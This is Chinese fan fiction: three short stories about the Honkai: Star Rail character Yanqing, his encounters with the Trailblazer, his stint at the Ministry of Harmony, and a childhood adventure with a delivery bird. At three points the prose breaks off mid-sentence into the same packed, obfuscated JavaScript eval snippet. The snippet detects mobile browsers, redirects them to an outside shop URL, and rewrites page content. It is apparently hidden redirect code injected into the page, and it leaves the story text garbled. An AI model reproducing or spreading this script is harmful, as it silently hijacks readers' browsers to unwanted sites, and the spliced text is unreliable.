《彦卿短篇》 1. 彦卿彩蛋(伪) 我在太卜司附近的廊道撞见了彦卿。 像是刚从言灵控制中清醒,眼神还有些发懵,金灿灿的头发往外乱翘,衣服上几道灰痕昭示着我刚才的行径。 今天打小孩了。 打小孩,通常意味着以大欺小、以多欺少、以强凌弱、以强权铁腕欺民主政治…… 我默默不语,眼前好像出现了熟悉的金色大拇哥。 去去去,不要在这个时候出现啊。 我站在转角,没打算出去。虽然有卡芙卡的言灵,但对方是意志坚定的少年剑士,我不确定他还记得多少。如果他记住了大半,我此刻神智清醒地出现在他面前,无疑意味着一场欺骗,一旦上报云骑军,她的那个叫刃的同伴却还留在罗浮,被抓住的可能性又要加大。 星核猎手在仙舟本就没有好印象,而我帮助了星核猎手,星穹列车和仙舟的关系又有可能受到影响。 乱七八糟,想得人脑瓜疼。 所以谁说我不想事的,这不是正在想吗?我突然就有些自豪。 但如果不出去见一面…… 我又探头看一眼,小孩眼神已经清明,只是眉头皱起,手撑着下巴,靠着墙面不知道在想什么。他不怎么在意自己的状态,身上的灰都没拍,甚至还新蹭上了墙灰,头发还是一样炸,像只在灰里滚半天终于爬起来的金毛猫。 要不还是出去见?就说自己刚才被言灵控制,现在清醒了。他记得的话就道个歉,不记得的话就随便找理由请客吃点东西? 我回想起长乐天的小吃摊:鸣藕糕、貘馍卷、热浮羊奶,哦对,摊主说热的最好喝,冷了就不好喝了…… “咕噜。” “谁!”少年嗓音清冽如泉声,语气倒是凶巴巴,我还听见他召出飞剑的声音。只几步路,少年就出现在我面前,表情也是凶巴巴。 “你怎么在这里?”话音没刚才凶了,多了几分错愕,原本围至身前的飞剑也退回身后,消失不见。 问得好。我面无表情,你刚才也是这么问的。 面无表情是我的拿手好戏,不知道怎么答时只需要沉默,然后面无表情,就能用装出来的高手风范吓退不少人。 但这招对彦卿不管用。他又问了一遍,“你怎么在这里?” 我低头看他,小骁卫脸上凶气已经消失殆尽,他离得也近,身高不够只得抬头,一双金色圆眼眨也不眨看着我,脸上是纯然的疑惑。 我真打小孩了。 我又一次意识到这个事实,名为“崇高道德的奖赏”的金色大拇哥又在我面前闪啊闪的。 去去去,别在这时候闪。 不过看这情况彦卿应该不记得,不记得好,那就不解释了,带小孩去吃东西补偿一下…… “你,”正想着,听见他说话,我低头,就见他一个字一个字拆开,拖长了音,“你——怎么——在——这里——” ? 我有不好的感觉。 “我——送你——回——星、槎、海?”他在很认真地问我。 但他看我的眼神已经变了,和过去在贝洛伯格翻垃圾桶周围人的眼神一般,不能说不友善,只是…… 我想起一张表情包:?? “你是不是觉得我傻了吧唧的.jpg”,来自名为三月七的美少女,而现在,我要把自己替换进那张图里…… 不不不!还是不了。 我得说点什么,再不说面前这小孩怕不是要把我当成智障儿童送去丹鼎司。 “不用,”先明确表露态度,展示自己完美符合人类标准的智商,再解释自己出现在这里的原因,“我就逛逛。” 逛逛,一个放之全罗浮都可用的理由,除了显得人比较闲以外没有别的漏洞,来吧小孩,你问什么我都接的住! 我叉腰,摆出自信满满的架势。 “哦,”彦卿眨眼,“那客人现在要回去吗?彦卿可以护送你到码头。” 接受了,轻而易举地接受了,啥都没想地接受了!你怎么回事!这样我想的理由都派不上用场了。挫败ing “不回去,”我不甘心,憋出两句,“我去找卜者算卦。” “哦,那走这边。”彦卿看准了路线,就引我往卜者聚集的方向走,什么都没问。 “你不觉得很奇怪吗?”倒是我在路上忍不住先问了。 “怪是怪,”彦卿径直往前走,为我引路,“不过几位是将军的贵客,自然没有怀疑的必要,至多只又是些彦卿不知道的计划而已。” 语气轻飘飘的,听不出任何敌意,也没有平常的精神头,倒是有一些,怨气? 怨气?对了,这孩子从始至终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332666|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不知道仙舟的计划,是对自己被排除在外感到不满吗?景元将军还没醒来…… 我跟在后头,十来岁的男孩在前面走,剑修特有的笔直纤细在他身上全然展露出来,与之一起的还有不加掩饰的锋芒。 裁成燕尾状的蓝色飘带在他身后招摇,身上也挂着许多叮叮当当的小玩意儿,据说在古仙舟人的习俗中寓意“吉祥如意、长寿平安”,由长辈赠予晚辈…… 莫名地,我想起刚才: 卡芙卡说,我是独一无二的星核容器; 卡芙卡说,我们都被命运奴役着; 卡芙卡为我做过很多事但我不知道…… 将军不把那些告诉给彦卿是出于保护的心意,那卡芙卡不告诉我也是一样的原因?不,应该不是。还是说,卡芙卡自己也不知道多少;亦或者,让我保持无知的状态也是命运的一环? 我停下仔细想,彦卿也停下,回头看我,旁边传来太卜司卜者对卜算结果的小声讨论声,还有玉兆运转时的声响。 我抬头,看他:“想不明白别人给我的安排,怎么办?”没头没尾的话,但莫名的,我觉得他能懂这种感受。 “那就不想了。”彦卿这样回,附近换境画屏的光落在他脸上,我发现他神色意外的平静,像是比刚才见到时大了好几岁。 “想不明白就不想了,”他像是在哄小孩,又像是在对自己说话,“彦卿也是,只需要做好现在能想明白的事情。至于以后如何,有剑在手,便没什么好怕的。” 真的,不会害怕吗? 但那句话很有道理——想不明白就不想了,所以! “走,去吃东西!” “?”彦卿显然被搞懵了,“啊?” 他反应了好一会儿,“现在?” 我点头。 “现在不行,还要巡逻。大战后罗浮上孽物横行,云骑军都恨不能一个掰成两个用……”彦卿恢复了正常的语气,甚至想要吐槽我,“客人若是真想在怪堆里逛,倒不如参与到云骑的行动……” “好!”我迅速点头,“我们去打怪!” “啊?” “怪堆是我家!和平靠大家!”我义正辞严,辅以自己标志性的、帅气的、很有高人风范的手势语。 “来一起喊!” “啊,啊?” 2. 【彦卿】在地衡司 神策府内,符玄看着机巧鸟传来的影像,揉揉额角,颇感头痛。 浴铁——神策府侍卫长同样忍不住去看影像:看位置是在迴星港,少年很快清理完这一块的孽物,又御剑去往下一个地方。影像上看不清楚,但平素还会与自己说笑的少年似乎是无表情的,只是在机械动作而已。 从景元将军昏迷回来后就没停过。浴铁默默想:孽物再多,一时半会儿也杀不完,人总要休息的。 “太卜大人,不若将彦卿先调回神策府,由属下接下他打扫战场的工作。” 符玄看一眼浴铁,又将视线转回影像上的少年身上,喃喃自语:“当断不断,反受其乱哪,将军。” “所以,”长乐天,地横司内,大毫搓搓手,看着眼前的少年,“太卜大人将您调到我们这儿。” 与孽物战斗十分消耗心神,少年神色冰冷,眼角眉梢都是未褪去的戾气和显而易见的疲惫。虽然才这么点儿高,也足够唬人的了,旁边松烟抱着茶杯坐在自己位置上,大气不敢出。 “当然当然,只是暂时的,太卜大人只是想让您好好休息而已,您的职位依然不变,侍卫大人。”大毫倒是不受影响,像平时那样打哈哈: “您在我们这儿也不用做什么,您看,那边有位置,您坐那就好了。若是无聊,也可以看点宣传资料打发时间。” 彦卿不是第一次来地衡司,他还想多问几句太卜的交代,偏头却见了战战兢兢的松烟,于是索性往大毫指的位置去,坐下不说话了。 地衡司公廨热闹得超出想象。彦卿不出声,方才的到来也就像个小插曲,执事们来来往往忙昏了头,也没再注意他。 彦卿呆坐着,抓着手中的地衡司宣传册《守护长乐天》,慢慢缓过神来,注视公廨内的人群: 左边: “是只很可爱很可爱的宝贝,快差人帮我找呀!哎哟动作怎么这么慢哪!我的小宝贝也不知想妈妈了没……” “别着急,您先登记。” 右边: “有人在我们店里骗吃骗喝,喏,人都给您逮着了,这还不管管!嘿,死骗子还想跑!” “嗷!杀人啦!杀人啦!” “您先冷静,先给他松绑,这里是地衡司公廨,不会跑的,也不允许私刑。” 里边: “我老爹他上了年纪,听别人说什么‘冥想疗法’,防魔阴身的,他就给信了,买回一台机巧屁用没有,想退也找不着人了,这是诈骗!诈骗哪!我的巡镝啊!” 门口: “前段时间孽物横行,大家家里都遭了灾,您看这米面粮油能提前发不?” 似乎什么人都有,什么事情都在发生。彦卿摊开手里的资料挡住下半张脸,一双眼圆溜溜的,在公廨内转来转去,稍微恢复了些平时的活泼。 独自斩杀孽物时,耳边只有剑破风的声响和孽物的哀嚎,除此之外什么都听不见,而现在小小的公廨里挤满了人,人声嘈杂,转瞬便将他从迴星港一地的孽物中带出,带到了人间来。 “快拦住他!”正在这时,吃霸王餐的白毛瞅着松绑的空隙,连滚带爬地从净砚和店主间脱出,急急往门口去。 净砚绕出工位,一边追一边大喊,却见门□□出一阵冰蓝的剑光,她捂眼,光亮褪去再看,只见三柄剑悬于空中,剑身竖直、剑尖朝下,各据不同方位,成了一个简单的阵法,将人牢牢锁在其中。 “啊啊啊!要死了!我要死了!”阵法中的人捂脸,叫声十分凄惨。 净砚靠近看看阵法,放下心来:“多谢侍卫大人。”转头,没好气地说:“没死呢!都叫你别跑了,这下罚款又要多加一项了吧!” 大毫正在声情并茂讲述自己过去被诈骗的经历(真实度存疑),以安抚被骗走血汗钱的住民;告发诈骗的住民坐在对面,陷于难以言喻的悲伤;松烟在找派发生活用品的详细规则。总之,事发突然,几人都没有反应过来。 倒是一身珠饰急着找猫的妇人,正拉扯着勤务要出门,被剑光晃了眼,回过神来后,眼睛瞪得极大,爆出一句:“你们地衡司居然用童工?!!!” 没有人会小看妇人母爱泛滥又目睹官家犯罪,惊惶之下爆发出的尖叫。于是顷刻之间,哭血汗钱被骗的大汉不哭了,吃霸王餐的惯犯不逃了,公廨内安安静静,所有人看向站在剑阵旁的少年,又看看少年旁的剑阵。 彦卿懵了。 大毫最快反应过来,几步过来,把少年拉到自己身后,开始打哈哈:“没有没有,这是我亲戚家的孩子哈哈哈。放假了,来玩玩哈哈哈。” 沉默,还在蔓延。 大毫是见过大世面的人,他面不改色,看似很熟络地拍拍彦卿肩膀:“呆着无聊了是吧,这样,你去帮那个姐姐找猫,找不着也没关系,出去转转就回来哈。” 彦卿离得近,能看见大毫的眼角在不停抽搐,整张脸都在用力向他传达意念。虽说他看不出是什么意思。 总之,现在先不说话比较好吧。彦卿乖巧点头,走向门口。 地衡司的勤务大哥去库房借谛听,门口只有彦卿和要找猫的妇人。 妇人上上下下打量彦卿,眼神惊疑不定,最后左右看看,凑近了:“你真不是来地衡司打工?虽说看着也不像打工的孩子……” “但那个大毫,一看就是在骗人哪,”妇人说着说着激动起来,“他们要是真用童工,我一定要告发上去……哎哟,他们就是管这个的,不管啦!姐姐帮你往上面告,咱罗浮又不是没人……” 妇人说话又快又急,思维还有些跳脱,彦卿找不到机会插话,到这终于忍不住开口:“姐姐,我是云骑骁卫!” “啊?” “我是云骑骁卫,”彦卿耐心解释,“大战后,将军将职权交由太卜大人代行,彦卿也是才被太卜大人调来地衡司,是正式在籍的云骑军,不是违法童工。” 妇人沉默了。 “地衡司的大家都尽职尽责,大毫执事官也是,不好再拿没发生的事打扰他们了。”彦卿努力打消对方告发的意向。 解释得应该挺清楚了?这种时候,如果有什么证明身份的东西就好了…… “我知道了。” 妇人又是上上下下打量彦卿,目露慈爱,顺手薅了一把小孩细软的头发: “是大毫执事官亲戚家的小孩呀。” “你们俩的长相,嗯,仔细看还是有点像的嘞!” “将来想加入云骑军是不是呀?想当将军吗?哎呀看看这装备还挺齐全……”妇人又是顺手摸了一把小孩背上的两把剑,彦卿怕对方把剑抽出伤了手,一下又没躲开。 少年无奈了: 所以,比起我是云骑骁卫,居然是大毫执事官瞎编的解释更可信吗? 找猫的路上,谛听在前,勤务大哥紧随其后,之后才是找猫的妇人和彦卿。妇人在路上又问了些细碎的问题,彦卿一一回答,对方往往先是一脸不信,后又找到理由说服了自己,倒是让彦卿松了一口气。 有谛听在,猫不难找。甚至就在长乐天往外走几步,一棵大柏树上。 勤务大哥围着树转了两圈,看好猫的位置,就准备开始爬。 彦卿也抬头看,提议:“要不我……”御剑上去? “不必,侍卫大人您休息就好,”勤务拍拍胸脯,“爬树什么的,地衡司勤务的基本技能罢了!” 彦卿:你们也是蛮辛苦的。 旁边妇人喃喃道:“侍卫大人……过家家吗?地衡司还挺会带孩子的。” 彦卿:我也辛苦了。 那只猫原本闭着眼趴在树上打盹儿,这会儿却像是听懂了勤务的话,半睁眼向下一扫,扭头便又往上窜了三窜,身形都被树叶挡住看不见了。 勤务:好高QAQ “啵啵啊!妈妈在这里,快到妈妈这儿来!”妇人情急大喊,顶上树叶晃动,但猫还是没有下来。 “还是我来吧。”彦卿也抬头看看。 “你一个小孩,如何才能……”话音未落,只见少年召出飞剑,平地跃起,又稳稳当当地落于剑上,连人带剑向上浮去,片刻就隐于叶后看不见了。 两个大人抬起头,紧张地在树下探头探脑。好在彦卿没有意外地带着猫下来,交还给妇人。 这已经是妇人第三次上下打量彦卿了,随后她像是自己决定了什么,来回摇头:“不管啦不管啦,反正,” 她薅一把彦卿的头,“你是小可爱,”又薅一把自家的猫猫头,“啵啵是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332667|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小可爱。” 彦卿收起剑,笑道:“那您就是大可爱。” 妇人被逗乐了,正笑着,转眼瞧见无辜的勤务大哥,又露出警惕的神情,她低头:“说真的,地衡司给不给你算工钱啊?” 原来你还是不信我是云骑。 彦卿:放弃说服.jpg 稍晚些时候,彦卿去了一趟神策府。 “彦卿已经恢复妥当,请符太卜准行。”他抬眼看去,少女模样的太卜大人坐在中央,不过代行将军职权数日,眼下已泛出青黑——那是多劳少眠的证明。 符太卜才是更需要休息的那个吧。 “你可知晓,本座为何将你调离前线?”像是早就预见彦卿的到来和提出的问题,符玄毫不意外地看向他。 “彦卿不知。”这确实是他疑惑的地方。如果只是想让他休息,那与其他云骑轮换就行,或者调来神策府护卫,没有调去地衡司的道理。 “工造司不日前修复了机巧鸟录像系统,你上前来,”符玄在面板上虚划,指给彦卿,“这是你这几日斩杀孽物的影像,招招果断,不留余地。可觉得陌生?” 少年身姿如松,步法轻灵,若偶然得见甚至会觉得赏心悦目——如果不是往后全是类似影像的话。 跳跃、闪避、挥剑,一击必杀。少年随手甩去剑上孽物残留的痕迹,神色冷冷,眼神空洞。 彦卿一张张划过去,有些不敢认那是自己,影像将他从方才地衡司的嘈杂中带出,仿佛又置身于无人的迴星港。恍惚间,竟像是听到了那日白发女人的声音: 剑出无回,一击必杀。 是受她的影响?不,应该不止。 “彦卿,你过早加入云骑军,过早拥有了远超一般云骑的实力,以至于仅仅遵循守则战斗,却不明白守则背后的意义。” 彦卿想说他明白,仙舟追随帝弓司命的意志,云骑便将生死置之度外,斩杀丰饶孽物,解救被敌对长生种奴役的世界,保护仙舟上几百年不变的日常。 他抬头,又低头:这些是不是不够说服太卜? “地衡司,是离仙舟民众最近的地方,你在那里获得的成长不会比在云骑军少。” “景元的想法我无从揣测,但至少在本座暂代将军一职期间,本座无法将你当作普通云骑调用,也无法坐视你把自己当兵器使用。” 符太卜一口气说完,看见少年一脸茫然,终是软了语气。“有什么事,等他醒来再说,如何?” ?? 彦卿还是稀里糊涂地回了地衡司。 这里似乎永远都不停歇,彦卿离开时的那几件事已经解决好,转眼又多了新的差事。但相比那时已经好很多,大毫和松烟坐在位置上毫不避讳地摸鱼。 净砚见他回来,从架子上取下收好的三把剑交还给他:“方才多谢侍卫大人了。” 彦卿收好剑,摇摇头:“不是什么大事。” “净砚你做完啦!”瘫在座位上的执事官眼睛一下子亮了。 “下班咯!下班咯!”松烟飞速收东西,向他异父异母异性别的好兄弟净砚作个揖,快活地奔向门外。 净砚努力压制冲动,还是没忍住翻了个白眼,回自己位置上收东西。 “侍卫大人今日感觉如何?明日还来吗?”大概是因为快下班,大毫困顿的双眼都精神了不少,笑眯眯问。 “来。”彦卿点点头,按符太卜的说法,至少也得等到…… 入夜,丹鼎司。 白发的将军依旧昏迷不醒,但呼吸平稳,看起来跟睡着了没两样。彦卿连关门的声音都不自觉放轻,他看着名号“神策”的将军,自己的师父: 您到底是怎么想的呢?连太卜大人都看不出来。 您每日看着罗浮,心里在想什么呢? 彦卿觉得罗浮很好,虽然以前就觉得很好了,但现在又有了些不一样的感受: 符太卜、侍卫长、大毫执事官、松烟执事、净砚姐姐、会爬树的勤务哥哥、找猫的姐姐……大家都是很好的人,都在认真地生活。 想着想着,少年兴致终于稍稍高涨一些:“我希望大家能一直过得这样好,将军你觉得呢?” 床上人昏睡着没有回话,窗外依然灯火通明。 3. 【彦卿】机巧鸟可以飞过玉界门吗 “将军,我是哪里来的啊?” “是机巧鸟叼来送给我的。” “欸?!” 大概是彦卿四岁时的事情。 宣夜大道上,粉雕玉琢的小孩迈着小短腿跟在机巧鸟屁股后面跑,一边跑一边大喊“等等彦卿”,让路边人看了发笑之余,忍不住问: “这小孩家长呢?” “在后面吧。孩子活泼,跑得快。” 彦卿就这样全无阻拦地穿过宣夜大道,上完楼梯又下行,一直到机巧鸟停住。他开心了,跑近后用力一蹦,去够机巧鸟:“抓到啦!” 但结果是,还差一点。小彦卿与机巧鸟失之交臂,还因为往前冲得太厉害停不住,一头往机巧鸟堆里栽。 “!” “哎哟,很危险啊小朋友!”工作人员眼疾手快,一个箭步冲过来,伸手把小孩抱到地上,又左右看看,“你家长呢?” 小朋友惦记着刚才差的那一点点距离,没听见说话,这时再抬头看,那只机巧鸟已经停在充电桩柱上,完全够不到了。 彦卿:委屈(T ^ T) 工作人员没等到回答,正待再问一遍,却注意到了孩子的眼神,于是试探性地一指:“你想要机巧鸟?” 看着才三头身的小孩巴巴地点头,浅金色呆毛跟着晃啊晃,望向机巧鸟,琥珀似的圆眼里尽是渴望:“飞飞!” “要‘飞飞’啊,”工作人员是才入职不久的狐人姐姐,被小孩的反应可爱到不行,但又记得职责在身,只好用哄孩子的语气,“‘飞飞’太累了,睡着了,等他醒了再跟你玩好不好呀?” “好!” 与一开始的跳脱印象不同,彦卿甚至是个十分乖巧的孩子。在信了工作人员的解释后就乖乖坐在一边玩,问一些问题也会回答,唯独在问到家长联系方式时总是作出一副神秘样子:“秘密,不能说,嘘——”这番姿态逗乐来往不少工作人员。 鹤运速递也算是官方组织,狐人姐姐上报了可能有儿童走失的情况,又看看乖巧坐在一旁的小彦卿——正在摆弄其他工作人员送的机巧玩具,十分专注,就去忙自己的事情了。 “姐姐,飞飞还没醒吗?” 她忙得昏天黑地,甚至忘了里间还呆着个小孩,直到下班时间。一低头,小孩眼一眨不眨地看着她,甚至在嘈杂的码头放轻声音,只用手势示意她去看,以免吵到机巧鸟。 她沉默片刻。 “它懒,我现在叫醒它。”良心好痛。 “谢谢姐姐!” 更痛了。狐人姐姐一边在心里嚎:“陪你玩陪你玩怎么玩都行啊啊啊!反正都快下班了,这么多机巧鸟、这么可爱一小孩,玩一只怎么啦!”一边面上不显,飞快调出操作面板。 挂在桩柱上状似休憩的机巧鸟缓缓扇动翅膀,向下飞到小彦卿身边,小孩高兴了,围着近地飞行的蓝白小鸟转圈圈,笑得见牙不见眼。 索性暂时无事,狐人姐姐蹲下来陪小孩玩,正打算再问问小孩家长啥时候来,却听见对方问: “姐姐,飞飞可以飞过门吗?”一边说,一边用圆圆的金眼瞧着人,两只手努力比划,看不出来是什么,最后一手指向正前方。 玉界门。 “那个门在天上,很高很高,飞飞上不去哦,”她也被传染了小孩子的语气,这话说完,倒是自己先想笑了,“为什么想要飞过玉界门呢?” “因为……说,”小孩还没学会糊弄人,遇到不能与人言的部分也不移开视线,反而是更认真地盯着人看,停顿住,再接着讲,“门的外面有星星,有好多,彦卿是从星星上来的。” 她猜测停顿的部分是孩子的监护人,反正孩子的情况已经报给上面了,家长看见了自会来寻,她也没多在意。“从星星上来”的说法倒是有趣,只是再怎么样,机巧鸟也是没法飞过玉界门的:“小彦卿放过风筝吗?飞飞只能飞到风筝那样高哦。” 四岁的小彦卿陷入了思考。 思考过后,开始拽袖子撒娇:“试一试嘛——谢谢姐姐!” 还没等对方答应就说谢的吗?话说你也太熟练了吧!说了飞不高还要试,看来是不信我咯……种种想法在脑子里过了一遍,最后还是答应了彦卿。 毕竟本就说好要陪小孩玩的。 彦卿说的“试一试”,是指自己坐在箱子里,箱子四角结绳,再到中间结在一起,由机巧鸟勾住这个结,带着他飞上天去。 小孩坐在箱子里,两只小手紧紧抓着箱子边缘,目光灼灼,盯紧玉界门方向,又深吸一口气,大喊:“彦卿准备好啦!” 架势倒是挺足,真的想靠机巧鸟飞过玉界门啊,狐人姐姐看得一脸乐呵,调出操作台。 “鹤运速递,啥都能寄”,里面包不包括人,不得而知。但狐人姐姐哪怕是新加入物流业,对机巧鸟的操作也可以说是滚瓜烂熟了: 彦卿的体重在机巧鸟承重范围内;机巧鸟限高,最高不过飞到司辰宫顶,更别说现在有她看着,自然不会让机巧鸟飞到那种高度;再不济,司辰宫门口还有云骑军。出事的可能性为零。 “开始了哦,小彦卿抓稳!” “嗯!” 机巧鸟带着金灿灿的小孩缓缓上升,到与她额头同高。小孩一开始紧张,憋红了脸抓紧箱子边缘,适应后就开始边拍掌边笑。 “你倒是不怕。”她哭笑不得,正准备听小孩的再高一点,就见专员梓桥不赞同地看向这边,她吐吐舌头。 梓桥走近:“先停下吧。” 哦。小孩才到上二层的楼梯转角高度,但是没办法。她摸摸脑袋,在操作台上点了停止。 “你见过谁用快递箱装小孩的?” “对不起嘛,人家小孩想玩,机巧鸟操作我也熟啊……” “万一出事了,可得你担责。” “星槎海这么多人,能出什么事……哎呀哎呀我这就听你的……” 两人争吵几句,楼上却传来一阵笑声,抬头看,小彦卿已经到了瞭望台的位置,还在和上面的行人挥手打招呼。 机巧鸟带箱子不罕见,但飞起来的箱子里有小孩在招手,这情况在仙舟可太少见了,甚至有人掏出玉兆拍视频。 “你好呀宝宝!” “好可爱!” “是可爱,这么高都不哭,胆子还很大呢。” “其实我觉得这个高度有点……” 小彦卿对这些全然不知,转过去和大家打完招呼,就又在箱子里转回来,还是望着玉界门。 “停止、停止……哎算了,按返程!” “没、没用啊……”狐人姐姐慌了,重复按了几遍,那只机巧鸟都没有反应,她抬头,突然反应过来,“那孩子!” 两人俱是面色大变,双双冲上楼梯到了瞭望台。“够不到……”狐人姐姐站在瞭望台上,声音都在发抖,梓桥在下面拉住她。努力伸手去够,还是差了一段距离。她咬咬牙:“我跳过去看看!” “疯了!” “不跳才是会疯。”她挣开梓桥的手,拼力一跃,但向前绷直的手臂也只堪堪碰到箱子边缘,而后便是往下掉,越来越远,最后被同事们七手八脚接住,“快把那小孩拉回来!”她只能这么喊,却也想不到要怎么做。 刚才手拍的那一下被彦卿感觉到,此时小孩扒拉着箱子边缘,探出头来,十分担忧:“姐姐,你怎么啦?” “你先回去!不要探头!”她猛摇头,手脚冰凉:机巧鸟和彦卿的高度已经远超普通风筝,水平距离也超出了码头,往下就是洞天拟造的云海,掉下去的话…… 她呼吸一滞,这个距离只能靠大喊:“姐姐没事!你坐回去!抓紧边缘!” 彦卿低头看了会儿,才听话坐回中心,他是个聪明孩子,已经注意到事情不对,坐在盒子里一言不发。 “小朋友——”还站在瞭望台上的梓桥突然开口,等到彦卿看过来,才接着开口,“你见过星槎吗?” 单纯靠喊已经不够,她在周围找一圈,借到扩大音量的设备。彦卿的声音传不过来,但能看见他点了点头。 “待会儿,”她感觉手心在冒汗,“会有开星槎的叔叔阿姨来找你,你能飞得比他们还高吗?” 稍有不慎,一条人命就要没了。她已经上报天舶司派在休假的飞行士来帮忙,但这需要时间。而同样情况下,一个状态良好的小孩比一个情绪低落惶恐的小孩坚持得更久,这些话是必要的,但她不确定能不能起作用。 所幸小孩听懂了,注意力也被转移,他似是很高兴地点点头,金发借着风传达他的兴奋,也稳定了瞭望台上人的情绪。 狐人姐姐重新上来,望见小孩笑她反而想哭,但还记得正事:“刚检查的结果,那只机巧鸟掉线了,重连需要花些功夫。” 没有人会在这时候追究责任,梓桥环顾四周,问:“在场有工造司的匠人吗?” “有。”瞭望台已聚集了许多人,人群之中举起几只手。 “麻烦各位协助。”梓桥拜托完,抬头,小孩越升越高,已经快要进入星槎行驶的空域了。 星槎…… 她猛地反应过来:“让交通志愿者去码头,尽量让今日的星槎换条路线!或者停运!总之远离那个孩子!” 一个被机巧鸟和快递箱带上天的孩子,碰上高速行驶中的星槎……她不敢想象。 神策府内。 今日事务较平日清闲,青镞看看时间,快下班了:左右将军也要下班,一定能理解下班人到点就来的神思不属吧。 说直接一点,她想刷刷玉兆。 正中桌案内,景元抬头看她一眼,笑笑,没有多言。 倒是青镞刷着刷着,突然“啊”一声。 “怎么了?”景元抬头,青镞已递了玉兆过来给他看,“将军,这是彦卿吧?” 玉兆上显示的正是自家小孩,站在货箱边和机巧鸟玩,似乎跟拍摄的人混得挺熟,正对着镜头就是一个大大的笑脸。 “……儿童走失?唔……” “将军,还有呢!”青镞收回玉兆又自己刷了刷给景元,这回是视频:彦卿坐在箱子里,人太小,坐下来就像一个小团子,被机巧鸟带得离人群越来越远,整个团子都蔫蔫的。 视频还有许多,情况一目了然。景元没多犹豫:“去星槎海。” 星槎海,货运码头。 工造司的学徒师父们分两块挤,一块忙着重连机巧鸟;一块研究着让在线的机巧鸟飞到小孩旁边去。 “有机巧鸟传过来小孩的影像,大家伙儿也能安心些。” 这一步进展得很顺利,货运码头大半机巧鸟都放出去,只消一会儿就找着了小孩的确切位置,并传回了影像。 小孩依然坐在盒子里,周围有不少机巧鸟,他环顾一圈,似乎有些困惑,最后向离自己最近的那只伸出手。 机巧鸟的眼睛负责记录影像,正一闪一闪地亮着光。 彦卿:这是什么?戳一戳。 “哎哎哎!别挡镜头啊小孩!” 然而彦卿不止挡,他还两只手一起伸,把正在扇翅膀的机巧鸟抱到盒子里,然后“啪”地,被翅膀打到脸。 “关翅膀!关翅膀!”这边的大人们手忙脚乱。 这一通混乱,倒让人正好瞧见屏幕上的小角落里,派去救人的星槎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332668|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远出现在后方。 聚集在货运码头的人们终于长舒一口气。狐人姐姐受到鼓舞:“我们这边也快好了,无事,就当两手准备!” 那边彦卿脸上被拍得留下一道红杠,也没哭,倒是好奇地凑近机巧鸟看,这一凑近,围观的、放松下来的工造司学徒开始感叹: “这眼珠子,得是上好的玉石,上好的雕工……” “光有雕工不行,这眼睛高光咋整,内置光源?” “这睫毛,我考核作业都没做这么细致……” “你考核作业做瓷娃娃?” “你们在想啥,这是个人啊!” 工造司的小师傅们你一言我一语,倒是把紧张气氛冲淡了不少。与此同时,小彦卿也终于放过了机巧鸟的眼睛,屏幕上露出高空的景象。 不知是谁先喊出声的:“景元将军?” 几排人唰唰起身,瞭望台上的人探头往下看,工造司的小师傅们立马住嘴,还围在操作台前的梓桥和狐人姐姐也扭头: “将军!” “景元将军。” “将军。” 几群人问候完,周围安静下来,大家等待景元发话,这是对景元“神策”之名的信任。 然而在这样安静的氛围里,其他声响就变得格外清晰,比如屏幕里传来的那一声“哇——”清脆的童音,不加掩饰地表露着自己的情绪:喜欢、赞叹、惊喜。景元猜小孩接下来会兴奋地找人分享,可惜现在他身边没有人。 没有人,但是有鸟。那边,彦卿很自然地给怀里的机巧鸟换了跟自己一致的朝向:“飞飞看!” 这边,“不若将屏幕放大些,”神策将军很自然地提议,“瞭望台的诸位似乎也很关心这孩子的状况。” “将军说得在理!” 瞭望台的人比之一开始,又多翻了一倍,有个大屏确实方便很多。于是很快,面向玉界门方向,出现一块两层楼高的屏幕,小孩想要分享的东西都会出现在上面。 首先,屏幕显示到上空,仙舟的穹顶是人造的,其上流淌着的景象至少百年不变。或许对化外民来说有看头,但对于大部分仙舟人来说,不是什么值得惊喜的景象,还不及“听小孩分享见闻”这事本身来得新鲜。 然而彦卿的分享还没有结束,他又换了一个方向:“看!” 屏幕上是满空域的机巧鸟,蓝白色调看得人赏心悦目,一齐在空中有节奏地拍打翅膀。 “这么多——”有人咋舌; 有人乐呵:“看着还挺壮观的。” 镜头又是一晃,机巧鸟兴许是歪着头被彦卿抱在怀里,景象歪了一个度,但依然壮观——从空中俯瞰整片星槎海:红墙黑瓦,雕梁画栋,瞭望台和货运码头挤满人,星槎默契地绕开一片区域,有条不紊地进入玉界门。 “太美了,仙舟罗浮……”化外民初来仙舟总会到处感叹,但即便是仙舟本地人,现在也觉得“太美了,罗浮”。 